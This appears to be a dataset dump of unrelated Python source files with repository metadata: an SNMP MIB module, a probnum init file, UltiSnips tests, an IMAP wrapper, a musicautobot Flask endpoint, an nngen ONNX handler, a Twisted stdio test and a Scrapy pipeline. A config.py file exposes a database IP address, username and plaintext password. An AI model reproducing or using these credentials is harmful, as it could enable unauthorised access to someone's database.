6: A value of zero for a Way's speed, weight, height, width or length means that there is no limit.") print("") print("Note 7: The Relation's 'except_transport' parameter can be the combination of these enumerated values:") print_enum(transports_enum) print("") import gc gc.collect()

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null

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6fe25b4c2678c24198e66f7fedfb9fb15fdcf64a

5,498

py

Python

pysnmp/BAY-STACK-MIB.py

agustinhenze/mibs.snmplabs.com

1fc5c07860542b89212f4c8ab807057d9a9206c7

[ "Apache-2.0" ]

11

2021-02-02T16:27:16.000Z

2021-08-31T06:22:49.000Z

pysnmp/BAY-STACK-MIB.py

agustinhenze/mibs.snmplabs.com

1fc5c07860542b89212f4c8ab807057d9a9206c7

[ "Apache-2.0" ]

75

2021-02-24T17:30:31.000Z

2021-12-08T00:01:18.000Z

pysnmp/BAY-STACK-MIB.py

agustinhenze/mibs.snmplabs.com

1fc5c07860542b89212f4c8ab807057d9a9206c7

[ "Apache-2.0" ]

10

2019-04-30T05:51:36.000Z

2022-02-16T03:33:41.000Z

# # PySNMP MIB module BAY-STACK-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/BAY-STACK-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 17:19:06 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # OctetString, ObjectIdentifier, Integer = mibBuilder.importSymbols("ASN1", "OctetString", "ObjectIdentifier", "Integer") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") SingleValueConstraint, ConstraintsUnion, ConstraintsIntersection, ValueSizeConstraint, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "SingleValueConstraint", "ConstraintsUnion", "ConstraintsIntersection", "ValueSizeConstraint", "ValueRangeConstraint") NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance") TimeTicks, MibScalar, MibTable, MibTableRow, MibTableColumn, Gauge32, Counter64, Bits, Counter32, ModuleIdentity, ObjectIdentity, IpAddress, iso, Integer32, NotificationType, MibIdentifier, Unsigned32 = mibBuilder.importSymbols("SNMPv2-SMI", "TimeTicks", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Gauge32", "Counter64", "Bits", "Counter32", "ModuleIdentity", "ObjectIdentity", "IpAddress", "iso", "Integer32", "NotificationType", "MibIdentifier", "Unsigned32") TruthValue, TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TruthValue", "TextualConvention", "DisplayString") bayStackMibs, = mibBuilder.importSymbols("SYNOPTICS-ROOT-MIB", "bayStackMibs") bayStackMib = ModuleIdentity((1, 3, 6, 1, 4, 1, 45, 5, 13)) bayStackMib.setRevisions(('2013-10-11 00:00', '2012-10-02 00:00', '2009-09-28 00:00', '2007-09-04 00:00', '2005-08-22 00:00',)) if mibBuilder.loadTexts: bayStackMib.setLastUpdated('201310110000Z') if mibBuilder.loadTexts: bayStackMib.setOrganization('Nortel Networks') bayStackObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 45, 5, 13, 1)) bayStackConfig = MibIdentifier((1, 3, 6, 1, 4, 1, 45, 5, 13, 1, 1)) bayStackConfigExpectedStackSize = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 13, 1, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 8))).setMaxAccess("readwrite") if mibBuilder.loadTexts: bayStackConfigExpectedStackSize.setStatus('current') bayStackConfigStackErrorNotificationInterval = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 13, 1, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 65535)).clone(60)).setUnits('Seconds').setMaxAccess("readwrite") if mibBuilder.loadTexts: bayStackConfigStackErrorNotificationInterval.setStatus('current') bayStackConfigStackErrorNotificationEnabled = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 13, 1, 1, 3), TruthValue()).setMaxAccess("readwrite") if mibBuilder.loadTexts: bayStackConfigStackErrorNotificationEnabled.setStatus('current') bayStackConfigStackRebootUnitOnFailure = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 13, 1, 1, 4), TruthValue()).setMaxAccess("readwrite") if mibBuilder.loadTexts: bayStackConfigStackRebootUnitOnFailure.setStatus('current') bayStackConfigStackRetryCount = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 13, 1, 1, 5), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 4294967295))).setMaxAccess("readwrite") if mibBuilder.loadTexts: bayStackConfigStackRetryCount.setStatus('current') bayStackUnitConfigTable = MibTable((1, 3, 6, 1, 4, 1, 45, 5, 13, 1, 2), ) if mibBuilder.loadTexts: bayStackUnitConfigTable.setStatus('current') bayStackUnitConfigEntry = MibTableRow((1, 3, 6, 1, 4, 1, 45, 5, 13, 1, 2, 1), ).setIndexNames((0, "BAY-STACK-MIB", "bayStackUnitConfigIndex")) if mibBuilder.loadTexts: bayStackUnitConfigEntry.setStatus('current') bayStackUnitConfigIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 45, 5, 13, 1, 2, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 8))).setMaxAccess("readonly") if mibBuilder.loadTexts: bayStackUnitConfigIndex.setStatus('current') bayStackUnitConfigRearPortAdminMode = MibTableColumn((1, 3, 6, 1, 4, 1, 45, 5, 13, 1, 2, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("standalone", 1), ("stacking", 2), ("spb", 3)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: bayStackUnitConfigRearPortAdminMode.setStatus('current') bayStackUnitConfigRearPortOperMode = MibTableColumn((1, 3, 6, 1, 4, 1, 45, 5, 13, 1, 2, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("standalone", 1), ("stacking", 2), ("spb", 3)))).setMaxAccess("readonly") if mibBuilder.loadTexts: bayStackUnitConfigRearPortOperMode.setStatus('current') mibBuilder.exportSymbols("BAY-STACK-MIB", bayStackMib=bayStackMib, bayStackUnitConfigIndex=bayStackUnitConfigIndex, bayStackConfigStackErrorNotificationEnabled=bayStackConfigStackErrorNotificationEnabled, PYSNMP_MODULE_ID=bayStackMib, bayStackConfigStackRetryCount=bayStackConfigStackRetryCount, bayStackConfigStackErrorNotificationInterval=bayStackConfigStackErrorNotificationInterval, bayStackUnitConfigRearPortOperMode=bayStackUnitConfigRearPortOperMode, bayStackUnitConfigEntry=bayStackUnitConfigEntry, bayStackConfigStackRebootUnitOnFailure=bayStackConfigStackRebootUnitOnFailure, bayStackObjects=bayStackObjects, bayStackUnitConfigRearPortAdminMode=bayStackUnitConfigRearPortAdminMode, bayStackConfig=bayStackConfig, bayStackUnitConfigTable=bayStackUnitConfigTable, bayStackConfigExpectedStackSize=bayStackConfigExpectedStackSize)

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null

0

1

6fe6702a87b9963548f65391cbbfe3151ca980e8

1,606

py

Python

src/probnum/random_variables/__init__.py

admdev8/probnum

792b6299bac247cf8b1b5056756f0f078855d83a

[ "MIT" ]

null

src/probnum/random_variables/__init__.py

admdev8/probnum

792b6299bac247cf8b1b5056756f0f078855d83a

[ "MIT" ]

2

2020-12-28T19:37:16.000Z

2020-12-28T19:37:31.000Z

src/probnum/random_variables/__init__.py

admdev8/probnum

792b6299bac247cf8b1b5056756f0f078855d83a

[ "MIT" ]

null

""" This package implements random variables. Random variables are the primary in- and outputs of probabilistic numerical methods. A generic signature of such methods looks like this: .. highlight:: python .. code-block:: python randvar_out, info = probnum_method(problem, randvar_in, **kwargs) """ from ._dirac import Dirac from ._normal import Normal from ._random_variable import ( ContinuousRandomVariable, DiscreteRandomVariable, RandomVariable, ) from ._scipy_stats import ( WrappedSciPyContinuousRandomVariable, WrappedSciPyDiscreteRandomVariable, WrappedSciPyRandomVariable, ) from ._utils import asrandvar # Public classes and functions. Order is reflected in documentation. __all__ = [ "asrandvar", "RandomVariable", "DiscreteRandomVariable", "ContinuousRandomVariable", "Dirac", "Normal", "WrappedSciPyRandomVariable", "WrappedSciPyDiscreteRandomVariable", "WrappedSciPyContinuousRandomVariable", ] # Set correct module paths. Corrects links and module paths in documentation. RandomVariable.__module__ = "probnum.random_variables" DiscreteRandomVariable.__module__ = "probnum.random_variables" ContinuousRandomVariable.__module__ = "probnum.random_variables" WrappedSciPyRandomVariable.__module__ = "probnum.random_variables" WrappedSciPyDiscreteRandomVariable.__module__ = "probnum.random_variables" WrappedSciPyContinuousRandomVariable.__module__ = "probnum.random_variables" Dirac.__module__ = "probnum.random_variables" Normal.__module__ = "probnum.random_variables" asrandvar.__module__ = "probnum.random_variables"

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0.870278

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1

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false

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0.151515

0

null

0

1

0

null

0

1

6fea6ea2847af9fb33f26ea132b770aa2ffca311

9,206

py

Python

dot_vim/plugged/ultisnips/test/test_SnippetOptions.py

gabefgonc/san-francisco-rice-dotfiles

60ff3539f34ecfff6d7bce895497e2a3805910d4

[ "MIT" ]

10

2020-07-21T21:59:54.000Z

2021-07-19T11:01:47.000Z

dot_vim/plugged/ultisnips/test/test_SnippetOptions.py

gabefgonc/san-francisco-rice-dotfiles

60ff3539f34ecfff6d7bce895497e2a3805910d4

[ "MIT" ]

null

dot_vim/plugged/ultisnips/test/test_SnippetOptions.py

gabefgonc/san-francisco-rice-dotfiles

60ff3539f34ecfff6d7bce895497e2a3805910d4

[ "MIT" ]

1

2021-01-30T18:17:01.000Z

# encoding: utf-8 from test.vim_test_case import VimTestCase as _VimTest from test.constant import * from test.util import running_on_windows class SnippetOptions_OnlyExpandWhenWSInFront_Expand(_VimTest): snippets = ("test", "Expand me!", "", "b") keys = "test" + EX wanted = "Expand me!" class SnippetOptions_OnlyExpandWhenWSInFront_Expand2(_VimTest): snippets = ("test", "Expand me!", "", "b") keys = " test" + EX wanted = " Expand me!" class SnippetOptions_OnlyExpandWhenWSInFront_DontExpand(_VimTest): snippets = ("test", "Expand me!", "", "b") keys = "a test" + EX wanted = "a test" + EX class SnippetOptions_OnlyExpandWhenWSInFront_OneWithOneWO(_VimTest): snippets = (("test", "Expand me!", "", "b"), ("test", "not at beginning", "", "")) keys = "a test" + EX wanted = "a not at beginning" class SnippetOptions_OnlyExpandWhenWSInFront_OneWithOneWOChoose(_VimTest): snippets = (("test", "Expand me!", "", "b"), ("test", "not at beginning", "", "")) keys = " test" + EX + "1\n" wanted = " Expand me!" class SnippetOptions_ExpandInwordSnippets_SimpleExpand(_VimTest): snippets = (("test", "Expand me!", "", "i"),) keys = "atest" + EX wanted = "aExpand me!" class SnippetOptions_ExpandInwordSnippets_ExpandSingle(_VimTest): snippets = (("test", "Expand me!", "", "i"),) keys = "test" + EX wanted = "Expand me!" class SnippetOptions_ExpandInwordSnippetsWithOtherChars_Expand(_VimTest): snippets = (("test", "Expand me!", "", "i"),) keys = "$test" + EX wanted = "$Expand me!" class SnippetOptions_ExpandInwordSnippetsWithOtherChars_Expand2(_VimTest): snippets = (("test", "Expand me!", "", "i"),) keys = "-test" + EX wanted = "-Expand me!" class SnippetOptions_ExpandInwordSnippetsWithOtherChars_Expand3(_VimTest): skip_if = lambda self: running_on_windows() snippets = (("test", "Expand me!", "", "i"),) keys = "ßßtest" + EX wanted = "ßßExpand me!" class _SnippetOptions_ExpandWordSnippets(_VimTest): snippets = (("test", "Expand me!", "", "w"),) class SnippetOptions_ExpandWordSnippets_NormalExpand( _SnippetOptions_ExpandWordSnippets ): keys = "test" + EX wanted = "Expand me!" class SnippetOptions_ExpandWordSnippets_NoExpand(_SnippetOptions_ExpandWordSnippets): keys = "atest" + EX wanted = "atest" + EX class SnippetOptions_ExpandWordSnippets_ExpandSuffix( _SnippetOptions_ExpandWordSnippets ): keys = "a-test" + EX wanted = "a-Expand me!" class SnippetOptions_ExpandWordSnippets_ExpandSuffix2( _SnippetOptions_ExpandWordSnippets ): keys = "a(test" + EX wanted = "a(Expand me!" class SnippetOptions_ExpandWordSnippets_ExpandSuffix3( _SnippetOptions_ExpandWordSnippets ): keys = "[[test" + EX wanted = "[[Expand me!" class _No_Tab_Expand(_VimTest): snippets = ("test", "\t\tExpand\tme!\t", "", "t") class No_Tab_Expand_Simple(_No_Tab_Expand): keys = "test" + EX wanted = "\t\tExpand\tme!\t" class No_Tab_Expand_Leading_Spaces(_No_Tab_Expand): keys = " test" + EX wanted = " \t\tExpand\tme!\t" class No_Tab_Expand_Leading_Tabs(_No_Tab_Expand): keys = "\ttest" + EX wanted = "\t\t\tExpand\tme!\t" class No_Tab_Expand_No_TS(_No_Tab_Expand): def _extra_vim_config(self, vim_config): vim_config.append("set sw=3") vim_config.append("set sts=3") keys = "test" + EX wanted = "\t\tExpand\tme!\t" class No_Tab_Expand_ET(_No_Tab_Expand): def _extra_vim_config(self, vim_config): vim_config.append("set sw=3") vim_config.append("set expandtab") keys = "test" + EX wanted = "\t\tExpand\tme!\t" class No_Tab_Expand_ET_Leading_Spaces(_No_Tab_Expand): def _extra_vim_config(self, vim_config): vim_config.append("set sw=3") vim_config.append("set expandtab") keys = " test" + EX wanted = " \t\tExpand\tme!\t" class No_Tab_Expand_ET_SW(_No_Tab_Expand): def _extra_vim_config(self, vim_config): vim_config.append("set sw=8") vim_config.append("set expandtab") keys = "test" + EX wanted = "\t\tExpand\tme!\t" class No_Tab_Expand_ET_SW_TS(_No_Tab_Expand): def _extra_vim_config(self, vim_config): vim_config.append("set sw=3") vim_config.append("set sts=3") vim_config.append("set ts=3") vim_config.append("set expandtab") keys = "test" + EX wanted = "\t\tExpand\tme!\t" class _TabExpand_RealWorld: snippets = ( "hi", r"""hi `!p snip.rv="i1\n" snip.rv += snip.mkline("i1\n") snip.shift(1) snip.rv += snip.mkline("i2\n") snip.unshift(2) snip.rv += snip.mkline("i0\n") snip.shift(3) snip.rv += snip.mkline("i3")` snip.rv = repr(snip.rv) End""", ) class No_Tab_Expand_RealWorld(_TabExpand_RealWorld, _VimTest): def _extra_vim_config(self, vim_config): vim_config.append("set noexpandtab") keys = "\t\thi" + EX wanted = """\t\thi \t\ti1 \t\ti1 \t\t\ti2 \ti0 \t\t\t\ti3 \t\tsnip.rv = repr(snip.rv) \t\tEnd""" class SnippetOptions_Regex_Expand(_VimTest): snippets = ("(test)", "Expand me!", "", "r") keys = "test" + EX wanted = "Expand me!" class SnippetOptions_Regex_WithSpace(_VimTest): snippets = ("test ", "Expand me!", "", "r") keys = "test " + EX wanted = "Expand me!" class SnippetOptions_Regex_Multiple(_VimTest): snippets = ("(test *)+", "Expand me!", "", "r") keys = "test test test" + EX wanted = "Expand me!" class _Regex_Self(_VimTest): snippets = ("((?<=\W)|^)(\.)", "self.", "", "r") class SnippetOptions_Regex_Self_Start(_Regex_Self): keys = "." + EX wanted = "self." class SnippetOptions_Regex_Self_Space(_Regex_Self): keys = " ." + EX wanted = " self." class SnippetOptions_Regex_Self_TextAfter(_Regex_Self): keys = " .a" + EX wanted = " .a" + EX class SnippetOptions_Regex_Self_TextBefore(_Regex_Self): keys = "a." + EX wanted = "a." + EX class SnippetOptions_Regex_PythonBlockMatch(_VimTest): snippets = ( r"([abc]+)([def]+)", r"""`!p m = match snip.rv += m.group(2) snip.rv += m.group(1) `""", "", "r", ) keys = "test cabfed" + EX wanted = "test fedcab" class SnippetOptions_Regex_PythonBlockNoMatch(_VimTest): snippets = (r"cabfed", r"""`!p snip.rv = match or "No match"`""") keys = "test cabfed" + EX wanted = "test No match" # Tests for Bug #691575 class SnippetOptions_Regex_SameLine_Long_End(_VimTest): snippets = ("(test.*)", "Expand me!", "", "r") keys = "test test abc" + EX wanted = "Expand me!" class SnippetOptions_Regex_SameLine_Long_Start(_VimTest): snippets = ("(.*test)", "Expand me!", "", "r") keys = "abc test test" + EX wanted = "Expand me!" class SnippetOptions_Regex_SameLine_Simple(_VimTest): snippets = ("(test)", "Expand me!", "", "r") keys = "abc test test" + EX wanted = "abc test Expand me!" class MultiWordSnippet_Simple(_VimTest): snippets = ("test me", "Expand me!") keys = "test me" + EX wanted = "Expand me!" class MultiWord_SnippetOptions_OnlyExpandWhenWSInFront_Expand(_VimTest): snippets = ("test it", "Expand me!", "", "b") keys = "test it" + EX wanted = "Expand me!" class MultiWord_SnippetOptions_OnlyExpandWhenWSInFront_Expand2(_VimTest): snippets = ("test it", "Expand me!", "", "b") keys = " test it" + EX wanted = " Expand me!" class MultiWord_SnippetOptions_OnlyExpandWhenWSInFront_DontExpand(_VimTest): snippets = ("test it", "Expand me!", "", "b") keys = "a test it" + EX wanted = "a test it" + EX class MultiWord_SnippetOptions_OnlyExpandWhenWSInFront_OneWithOneWO(_VimTest): snippets = ( ("test it", "Expand me!", "", "b"), ("test it", "not at beginning", "", ""), ) keys = "a test it" + EX wanted = "a not at beginning" class MultiWord_SnippetOptions_OnlyExpandWhenWSInFront_OneWithOneWOChoose(_VimTest): snippets = ( ("test it", "Expand me!", "", "b"), ("test it", "not at beginning", "", ""), ) keys = " test it" + EX + "1\n" wanted = " Expand me!" class MultiWord_SnippetOptions_ExpandInwordSnippets_SimpleExpand(_VimTest): snippets = (("test it", "Expand me!", "", "i"),) keys = "atest it" + EX wanted = "aExpand me!" class MultiWord_SnippetOptions_ExpandInwordSnippets_ExpandSingle(_VimTest): snippets = (("test it", "Expand me!", "", "i"),) keys = "test it" + EX wanted = "Expand me!" class _MultiWord_SnippetOptions_ExpandWordSnippets(_VimTest): snippets = (("test it", "Expand me!", "", "w"),) class MultiWord_SnippetOptions_ExpandWordSnippets_NormalExpand( _MultiWord_SnippetOptions_ExpandWordSnippets ): keys = "test it" + EX wanted = "Expand me!" class MultiWord_SnippetOptions_ExpandWordSnippets_NoExpand( _MultiWord_SnippetOptions_ExpandWordSnippets ): keys = "atest it" + EX wanted = "atest it" + EX class MultiWord_SnippetOptions_ExpandWordSnippets_ExpandSuffix( _MultiWord_SnippetOptions_ExpandWordSnippets ): keys = "a-test it" + EX wanted = "a-Expand me!"

25.360882

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0.118628

0.068929

0.086865

0.063478

0.754

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0.581502

0.540355

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25.430939

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0

0.795745

0

null

0

null

0

1

0

1

6ff236eea364203b4294e15e6410629f2aeb3886

3,143

py

Python

imap_wrapper.py

tbrownaw/rss-imap

41d930d778017a9d60feed1688f9f2c7a94b94a6

[ "MIT" ]

2

2016-09-28T19:44:53.000Z

2021-09-17T11:36:24.000Z

imap_wrapper.py

tbrownaw/rss-imap

41d930d778017a9d60feed1688f9f2c7a94b94a6

[ "MIT" ]

null

imap_wrapper.py

tbrownaw/rss-imap

41d930d778017a9d60feed1688f9f2c7a94b94a6

[ "MIT" ]

null

import email import logging import re from imapclient import IMAPClient class IMAPError(IOError): pass class ImapWrapper: """A wrapper around imaplib, since that's a bit lower-level than I'd prefer to work with.""" #This regex is: # list of flags in parens # quoted delimiter # possible-quoted folder name list_matcher = re.compile(r'^$([^()]*)$ "([^"]*)" (([^" ]+)|"([^"]*)")$') def __init__(self, host, user, pw, **kwargs): """kwargs: Paassed through to IMAPClient""" self.M = IMAPClient(host, **kwargs) self.M.login(user, pw) self._selected_folder = None self._update_folders() def logout(self): self.M.logout() def _update_folders(self): listing = self.M.list_folders() self.folder_list = [name for (flags, delim, name) in listing] def ensure_folder(self, name): """Return True if the folder was created, False if it already existed.""" l = logging.getLogger(__name__) search_name = name[:-1] if name.endswith('/') else name if not any(n == search_name for n in self.folder_list): rslt = self.M.create_folder(name) l.info(f"Folder create result: {rslt}") self.folder_list.append(search_name) return True else: return False def fetch_messages(self, folder, *search_args): l = logging.getLogger(__name__) ret = [] self.select_folder(folder) message_ids = self.M.search(search_args) message_dict = self.M.fetch(message_ids, 'RFC822') for msg in message_dict.values(): l.debug("Got message: %s", msg) msg = email.message_from_string(msg[b'RFC822'].decode('UTF-8')) ret.append(msg) return ret def check_folder_for_message_ids(self, folder, msgids): self.select_folder(folder) search_ids = [] for msgid in msgids: if len(search_ids) > 0: search_ids.insert(0, 'OR') search_ids.append(['HEADER', 'Message-Id', msgid]) message_numbers = self.M.search(['NOT', 'DELETED', search_ids]) message_envelopes = self.M.fetch(message_numbers, 'ENVELOPE') have_ids = [] for msgdata in message_envelopes.values(): envelope = msgdata[b'ENVELOPE'] have_ids.append(envelope.message_id) return have_ids def append(self, folder_name, email): response = self.M.append(folder_name, str(email).encode('utf-8')) logging.getLogger(__name__).debug("Append response: %s", response) # FIXME sets the context folder def select_folder(self, name): if self._selected_folder == name: return dtl = self.M.select_folder(name) logging.getLogger(__name__).debug("select_folder = %s", dtl) self._selected_folder = name def create_subscribe_folder(self, name): created = self.ensure_folder(name) if created: res = self.M.subscribe_folder(name) logging.getLogger(__name__).debug("Subscribe result: %s", res)

34.538462

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0.014925

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0

null

0

null

0

1

0

1

6ff60de2cd7ad626ba0327a1b10d9c7e29a27101

3,150

py

Python

serve/api/predict.py

HalleyYoung/musicautobot

075afba70a57ebacfcd8d2bf9dc178a93c05a116

[ "MIT" ]

402

2019-07-31T00:37:10.000Z

2022-03-27T22:21:29.000Z

serve/api/predict.py

HalleyYoung/musicautobot

075afba70a57ebacfcd8d2bf9dc178a93c05a116

[ "MIT" ]

26

2019-08-20T13:44:30.000Z

2022-01-27T10:42:28.000Z

serve/api/predict.py

HalleyYoung/musicautobot

075afba70a57ebacfcd8d2bf9dc178a93c05a116

[ "MIT" ]

81

2019-08-14T06:55:55.000Z

2022-03-19T09:49:15.000Z

import sys from . import app sys.path.append(str(app.config['LIB_PATH'])) from musicautobot.music_transformer import * from musicautobot.config import * from flask import Response, send_from_directory, send_file, request, jsonify from .save import to_s3 import torch import traceback torch.set_num_threads(4) data = load_data(app.config['DATA_PATH'], app.config['DATA_SAVE_NAME'], num_workers=1) learn = music_model_learner(data, pretrained_path=app.config['MUSIC_MODEL_PATH']) if torch.cuda.is_available(): learn.model.cuda() # learn.to_fp16(loss_scale=512) # fp16 not supported for cpu - https://github.com/pytorch/pytorch/issues/17699 @app.route('/predict/midi', methods=['POST']) def predict_midi(): args = request.form.to_dict() midi = request.files['midi'].read() print('THE ARGS PASSED:', args) bpm = float(args['bpm']) # (AS) TODO: get bpm from midi file instead temperatures = (float(args.get('noteTemp', 1.2)), float(args.get('durationTemp', 0.8))) n_words = int(args.get('nSteps', 200)) seed_len = int(args.get('seedLen', 12)) # debugging 1 - send exact midi back # with open('/tmp/test.mid', 'wb') as f: # f.write(midi) # return send_from_directory('/tmp', 'test.mid', mimetype='audio/midi') # debugging 2 - test music21 conversion # stream = file2stream(midi) # 1. # debugging 3 - test npenc conversion # seed_np = midi2npenc(midi) # music21 can handle bytes directly # stream = npenc2stream(seed_np, bpm=bpm) # debugging 4 - midi in, convert, midi out # stream = file2stream(midi) # 1. # midi_in = Path(stream.write("musicxml")) # print('Midi in:', midi_in) # stream_sep = separate_melody_chord(stream) # midi_out = Path(stream_sep.write("midi")) # print('Midi out:', midi_out) # s3_id = to_s3(midi_out, args) # result = { # 'result': s3_id # } # return jsonify(result) # Main logic try: full = predict_from_midi(learn, midi=midi, n_words=n_words, seed_len=seed_len, temperatures=temperatures) stream = separate_melody_chord(full.to_stream(bpm=bpm)) midi_out = Path(stream.write("midi")) print('Wrote to temporary file:', midi_out) except Exception as e: traceback.print_exc() return jsonify({'error': f'Failed to predict: {e}'}) s3_id = to_s3(midi_out, args) result = { 'result': s3_id } return jsonify(result) # return send_from_directory(midi_out.parent, midi_out.name, mimetype='audio/midi') # @app.route('/midi/song/<path:sid>') # def get_song_midi(sid): # return send_from_directory(file_path/data_dir, htlist[sid]['midi'], mimetype='audio/midi') @app.route('/midi/convert', methods=['POST']) def convert_midi(): args = request.form.to_dict() if 'midi' in request.files: midi = request.files['midi'].read() elif 'midi_path'in args: midi = args['midi_path'] stream = file2stream(midi) # 1. # stream = file2stream(midi).chordify() # 1. stream_out = Path(stream.write('musicxml')) return send_from_directory(stream_out.parent, stream_out.name, mimetype='xml')

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0.018626

0.181905

3,150

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false

0.022222

0.177778

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0.066667

0

null

0

null

0

1

0

1

6ffc37d2645887ce4dd7940f03465b3689f39751

458

py

Python

nngen/onnx/shape.py

RyusukeYamano/nngen

9ed1f7fb83908794aa94d70287d89545d45fe875

[ "Apache-2.0" ]

207

2019-11-12T11:42:25.000Z

2022-03-20T20:32:17.000Z

nngen/onnx/shape.py

RyusukeYamano/nngen

9ed1f7fb83908794aa94d70287d89545d45fe875

[ "Apache-2.0" ]

31

2019-11-25T07:33:30.000Z

2022-03-17T12:34:34.000Z

nngen/onnx/shape.py

RyusukeYamano/nngen

9ed1f7fb83908794aa94d70287d89545d45fe875

[ "Apache-2.0" ]

29

2019-11-07T02:25:48.000Z

2022-03-12T16:22:57.000Z

from __future__ import absolute_import from __future__ import print_function from __future__ import division def Shape(visitor, node): input = visitor.visit(node.input[0]) shape = input.shape if (input.get_layout() is not None and input.get_onnx_layout() is not None and input.get_layout() != input.get_onnx_layout()): shape = [shape[input.get_layout().index(l)] for l in input.get_onnx_layout()] return tuple(shape)

28.625

85

0.713974

67

458

4.537313

0.41791

0.157895

0.177632

0.171053

0

0.002681

0.18559

458

15

86

30.533333

0.812332

0

1

0.1

false

0

0.3

0

0.5

0.1

0

null

0

1

0

null

0

1

b502452c7fbc49bc12b35532d369cf96f4db27dd

851

py

Python

twisted/test/stdio_test_write.py

engdan77/otis_app

6c6ea8da47d580e91a794663338572cf2a7368b6

[ "MIT" ]

null

twisted/test/stdio_test_write.py

engdan77/otis_app

6c6ea8da47d580e91a794663338572cf2a7368b6

[ "MIT" ]

1

2022-03-04T17:40:22.000Z

twisted/test/stdio_test_write.py

cpdean/twisted

e502df17e0704de42dc38b6e171ebbc7daf52c8a

[ "Unlicense", "MIT" ]

null

# -*- test-case-name: twisted.test.test_stdio.StandardInputOutputTests.test_write -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Main program for the child process run by L{twisted.test.test_stdio.StandardInputOutputTests.test_write} to test that ITransport.write() works for process transports. """ __import__('_preamble') import sys from twisted.internet import stdio, protocol from twisted.python import reflect class WriteChild(protocol.Protocol): def connectionMade(self): for ch in 'ok!': self.transport.write(ch) self.transport.loseConnection() def connectionLost(self, reason): reactor.stop() if __name__ == '__main__': reflect.namedAny(sys.argv[1]).install() from twisted.internet import reactor stdio.StandardIO(WriteChild()) reactor.run()

25.787879

85

0.72738

102

851

5.901961

0.54902

0.054817

0.049834

0.066445

0.17608

0

0.001406

0.164512

851

32

86

26.59375

0.845288

0.374853

0

0.038314

0

1

0.125

false

0

0.3125

0

0.5

0

null

0

null

0

1

0

1

b50af19fbfd3dbcdc0b721d01520bacb09232597

256

py

Python

web.backend/config.py

Forevka/YTDownloader

fff92bfc13b70843472ec6cce13ed6609d89433a

[ "MIT" ]

1

2020-10-27T05:31:51.000Z

web.backend/config.py

Forevka/YTDownloader

fff92bfc13b70843472ec6cce13ed6609d89433a

[ "MIT" ]

null

web.backend/config.py

Forevka/YTDownloader

fff92bfc13b70843472ec6cce13ed6609d89433a

[ "MIT" ]

null

host = "localhost" port = 9999 dboptions = { "host": "194.67.198.163", "user": "postgres", "password": "werdwerd2012", "database": "zno_bot", 'migrate': True } API_PATH = '/api/' API_VERSION = 'v1' API_URL = API_PATH + API_VERSION

14.222222

32

0.597656

31

256

4.741935

0.741935

0.095238

0.136054

0

0.1

0.21875

256

17

33

15.058824

0.635

0

0.34375

0

1

0

false

0.083333

0

null

0

null

0

1

0

1

b50dc3fa0e49a34e31b885324c803f179d4c5bd2

746

py

Python

UFOscrapy/UFOscrapy/pipelines.py

anaheino/Ufo-sightings-map

64af02093f97737cbbdfd8af9e1aeb4d8aa8fcdc

[ "MIT" ]

null

UFOscrapy/UFOscrapy/pipelines.py

anaheino/Ufo-sightings-map

64af02093f97737cbbdfd8af9e1aeb4d8aa8fcdc

[ "MIT" ]

null

UFOscrapy/UFOscrapy/pipelines.py

anaheino/Ufo-sightings-map

64af02093f97737cbbdfd8af9e1aeb4d8aa8fcdc

[ "MIT" ]

null

# -*- coding: utf-8 -*- from .parserules import parseAll class UfoscrapyPipeline(object): def process_item(self, item, spider): """ Parsitaan regexin ja datetimen avulla kentät oikeaan muotoon. """ try: item['loc'] = item['loc'][0] except: item['loc'] = "" try: item['shape'] = item['shape'][0] except: item['shape'] = "" try: item['state'] = item['state'][0] except: item['state'] = "" try: item['duration'] = item['duration'][0] except: item['duration'] = "" parseAll(item) return item

22.606061

66

0.430295

64

746

5

0.484375

0.0875

0.1375

0

0.011682

0.426273

746

32

67

23.3125

0.735981

0.02815

0

0.380952

0

0.097826

0

null

0

0.047619

null

0

null

0

null

0

1

0

1

82ecef2ff3628afa85b6185c93f911d25a8014e1

5,635

py

Python

src/main/python/Training+Data+Analysis.py

sully90/dp-search-service

efc6a94dad1c5b3fc898da9ced1606aa345c7ecd

[ "MIT" ]

null

src/main/python/Training+Data+Analysis.py

sully90/dp-search-service

efc6a94dad1c5b3fc898da9ced1606aa345c7ecd

[ "MIT" ]

null

src/main/python/Training+Data+Analysis.py

sully90/dp-search-service

efc6a94dad1c5b3fc898da9ced1606aa345c7ecd

[ "MIT" ]

null

